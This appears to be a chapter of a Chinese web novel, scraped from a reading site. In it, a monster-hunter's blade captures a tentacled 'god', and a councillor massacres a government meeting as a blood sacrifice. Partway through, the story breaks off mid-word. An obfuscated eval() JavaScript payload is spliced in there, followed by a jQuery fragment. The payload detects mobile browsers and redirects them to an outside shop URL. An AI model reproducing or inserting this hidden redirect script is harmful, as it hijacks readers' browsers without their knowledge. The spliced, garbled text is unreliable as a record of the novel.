78. 罪行

作品:《落魄大佬驯养实录

    沈相兰的刀确实有点东西。


    那把刀插入触须根部,恍惚间,陆行湛似乎听到了一个惊恐尖锐的哀嚎声。


    陆行湛松了口气。


    很好,它赌对了。


    沈相兰来内二区就是来找只有精神能量的生物的,被沈相兰惦记上的东西多半已经被她收拾过了,看见她只有跑的份。


    而那把刀上带着沈相兰的骨头。


    只要这个东西有点脑子,那它就该知道沈相兰在这。


    果不其然,在刀刺进去之后,原本猖狂的藤蔓树枝一样的东西也不动了,原本的计划被飞速放弃,末端的触须逐步枯萎,眨眼间就蔓延到了触须根部插着刀的位置。


    在触须底下,还有东西。


    陆行湛迟疑片刻,把沈相兰的刀抽出来。


    底下的东西察觉到了时机,在刀身抽离的一瞬间,它朝着陆行湛发动了精神攻击。


    如果陆行湛是个人类,那它可就真中招了。


    很可惜,陆行湛是个怪物,最开始中招是因为他毫无防备。有了防备之后,这点精神攻击就不够看了。


    刀起刀落,陆行湛踢开防护,那把属于沈相兰的刀刺进了更深处的地方。


    触须是从一个半透明、坑坑洼洼的紫红色球体上长出来的。


    这玩意就是它的本体?


    刀扎进去之后,这个球体瞬间就老实了。


    陆行湛仔细观察了一下,发现它根本无法自己挣脱开,只能在刀上挂着。


    挺好,它可以把这个东西丢给沈相兰。


    陈柏不知道发生了什么,只感觉这个挖出来的地下工厂都在发颤。


    “陆行湛,你在干什么,这里要塌了!”陈柏大喊。


    陈柏根本不敢往上看,上面不知道有什么东西,他抬头往上看时什么都没看见,头却疼得厉害。


    等他回过神来,发现自己双目流血。


    好似那上面在进行一场他无法直视的交锋。


    等了一会之后,陆行湛维持着举刀姿势跳下来,它对陈柏说:“走,我们去找沈相兰!”


    ***


    内二区,徐崇城,行政大楼。


    三方会议按时召开。


    这次的三方会议很不一样。


    三方会议的三方是指议会,审判庭和行政署,三方势力的领头人在名义上的并列的。


    而现在,参会的人们进来之后,发现了一个主位和两个低了一阶的位置。


    周闻雅坐在低一阶的位置上,她整个人看起来很凌乱,身上带着灰尘和血污,坐姿十分僵直,脸上的神色很差。


    大家都知道这次的三方会议是一场明晃晃的鸿门宴,参加的人即使是发现了周闻雅的异样也不敢声张。


    周闻雅看着宾客入座,眼里的冰寒几乎要溢出来。


    那天晚上,她顺从沈相兰的意愿去找冯寄,却在路上听见了两个居民在闲聊,聊天内容大概是说,冯寄的私宅藏着东西。


    周闻雅去见了冯寄,冯寄看起来也还算正常,她和冯寄谈了一些利益相关的东西,最终冯寄表示,会议在即,不会出动卫军,但会加强戒严。


    临走前,冯寄问周闻雅愿不愿意信仰神。


    周闻雅没有给出明确回答。


    确定冯寄待在行政楼里之后,周闻雅去了一趟冯寄的私宅。


    冯寄的私宅里放满了一堆紫红色的液体,那些液体被特制的玻璃容器装盛。


    周闻雅在书房看见了冯寄遗落的手稿。


    冯寄在手稿里构思了一个惊人的计划,他似乎掌握了某种可以杀掉怪物的方法,但是这种方法需要杀掉很多人。


    他打算杀掉参加三方会议的所有人,用这些人的命清掉内二区的规则。


    周闻雅当时冒出来的想法是,冯寄是不是信神信出了失心疯。


    但是她没能离开冯寄的私宅,因为她得到的消息就是冯寄放出来的,她唯一能做的事情就是给陈柏打了个电话。


    还好,会议开始了,陈柏并未出现。


    不止陈柏,冯寄也没出现。


    底下的人有些耐不住寂寞了,他们不知道外面发生了什么,也不敢在这个时候当出头鸟。


    周闻雅知道,在座的人都活不长久了。


    会议室内没有计时的东西,也不知道过去了多久,会议室的大门被人推开。


    冯寄走了进来。


    这位议员先生平日里最讲究礼仪,但不知道为什么,今日他来迟了许久。


    他的脸色很差,跟周闻雅如出一辙的差。


    看见他这幅模样,周闻雅反而开心了。


    冯寄走到主位上坐了下去,他宣布:“很抱歉,一些愚昧罪犯们的所作所为影响了本次的三方会议,在我原本的计划之中,在座的每一位成员都会成为内二区,甚至整个人类的英雄。”


    “原定计划因变无法推行,各位无法成为英雄,便只能用自己的鲜血来洗清罪行。”


    他拍了拍手,会议厅的大门像是得到了指令,啪嗒一声就关上了。


    有人发现了不对的地方,想站起来,但座椅处早已安置了机关,它们的四肢全都被束缚住,根本挣脱不开。


    他们瞬间就明白了周闻雅为什么是那副姿态,在会议开始之前,周闻雅就被绑在了座椅上。


    虽然大家都有预料,这次会议会是一场鸿门宴。


    但没人想到,冯寄居然敢对所有人动手!


    “虽然你们的生命无法为人类做出贡献,但你们失去生命,会令内二区焕发生机。”


    冯寄叹气。


    在他说话时,被固定在座椅上的人们忽然发现,座椅上弹出刀片,刺穿了他们全身各处的动脉血管。


    刹那间,血腥与哀嚎遍地。


    冯寄给自己扣上了一个带氧气瓶的防毒面罩,会议室上空伸出来了许多像是水管一样的东西,紫红的液体如雨水一样喷洒在会议室内。


    更绝望的事情发生了,周闻雅看见自己身前出现了一条鲜红如血的规则线。


    就在这个时候,门外忽然传来巨响。


    陈柏坐在驾驶位上,开着车一路横冲直撞,撞上了那扇紧闭的大门。


    门口被生生撞开,陆行湛和陈柏灰扑扑地闯了进来。


    陈柏撞门的动静太大,陆行湛的脑袋被震得发晕,手里还死死攥着沈相兰的刀,生怕刀上的东西被撞飞出去。


    “沈相兰,快出来!”陆行湛大喊。


    喊完之后,陆行湛忽然发现自己身上出现了一条血红的规则线,它错愕抬头,发现会议室里到处都是红的。


    天花板上喷着紫红的液体,地上流着鲜红的血,中间是密密麻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121379|185245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    麻的规则线。


    “我靠,你们这是在搞什么?”陆行湛震惊了,“怎么回事,沈相兰不在这?”


    周闻雅看见陈柏之后就开始觉得大事不妙了,听见陆行湛的话之后更是两眼一黑。


    “规则是什么?你们内二区还有这种撞门就会没命的规则吗?”


    陆行湛问陈柏,陈柏哪里知道这个,他对着陆行湛麻木摇头。


    “不对,不是还有个没有触犯规则的吗?”陆行湛忽然看向冯寄。


    冯寄原本没把两小时当一回事,但是他看见了陆行湛手里举着的刀。


    尤其是在他看见陆行湛刀上挂着的东西之后,气得破口大骂。


    “是你们!活该被千刀万剐的弑神者,你们毁掉了整个内二区!你们是人类的叛徒!”冯寄大喊。


    “神?”陆行湛狐疑地看了看刀上的球,又看了看台上那个戴着防毒面具的西装男人,“你不会就是那个勾结外敌的冯寄吧?”


    “恕我直言,你信这个小破球,还不如信沈相兰。”


    “至少沈相兰不杀人。”


    “你懂什么?”冯寄尖叫,“人类苟活在怪物的阴影之下,沈相兰明明可以杀死怪物,但她从不动手!她眼睁睁看着居民死在怪物的规则线里,她根本不是人类!”


    陆行湛纳闷了,它问道:“你手里应该有数据吧?内二区一年死在怪物手里的居民应该没有这个会议室里的人多。”


    冯寄:“这点牺牲只是暂时的,前进的道路必有血泪铺就,神已经答应了我,只要我献上足够的祭品,它就可以帮助我清除掉内二区所有规则,牺牲小部分人换永久的安慰,这笔买卖换你你做不做?”


    “沈相兰当时可是杀了内二区相当一部分的贵族,会议室里的人可没有当年的贵族多!”


    陆行湛和冯寄没吵几句。


    一个原因是冯寄已经疯了,跟他说话没意义。


    另一个是,怪物来了。


    陆行湛也是怪物,它在外七区的时候堪称横行霸道,没有一只怪物能通过规则线对它造成威胁。


    但这只怪物还未完全降临,就给了陆行湛无与伦比的压迫感。


    它可以断定,自己不是这只怪物的对手。


    “该死的,这条规则究竟是什么?”陆行湛有些抓狂,“怎么内二区也有这种东西!”


    陆行湛甚至在想,沈相兰的刀能不能砍怪物。


    很好,它被沈鱼知从内二区骗过来干活,把自己给送进去了。


    “你不是说沈相兰会来这个该死的会议吗?她人呢?”陆行湛质问陈柏,但它根本不听陈柏回答,“算了,沈相兰不来也是好事,她一个坐轮椅的就老老实实养伤吧。”


    陈柏听着陆行湛碎碎念,在恍惚间,他好像真的听到了轮椅声。


    “陆行湛,沈相兰好像来了。”陈柏对陆行湛说。


    陆行湛根本不信,“沈相兰来什么来?现在我们都要没了,我也就不瞒着你了,冯寄引来的这个怪物很不一般,要是普通怪物说不定我们还能活,我感觉这只怪物沈相兰都不一定打得过……”


    轮椅声逐渐清晰,沈相兰的身影也从模糊变得凝实。


    陈柏想跟陆行湛说句话,就看见陆行湛举着刀朝着沈相兰冲过去了。


    他听到陆行湛高兴大喊:“祖宗,你来了!”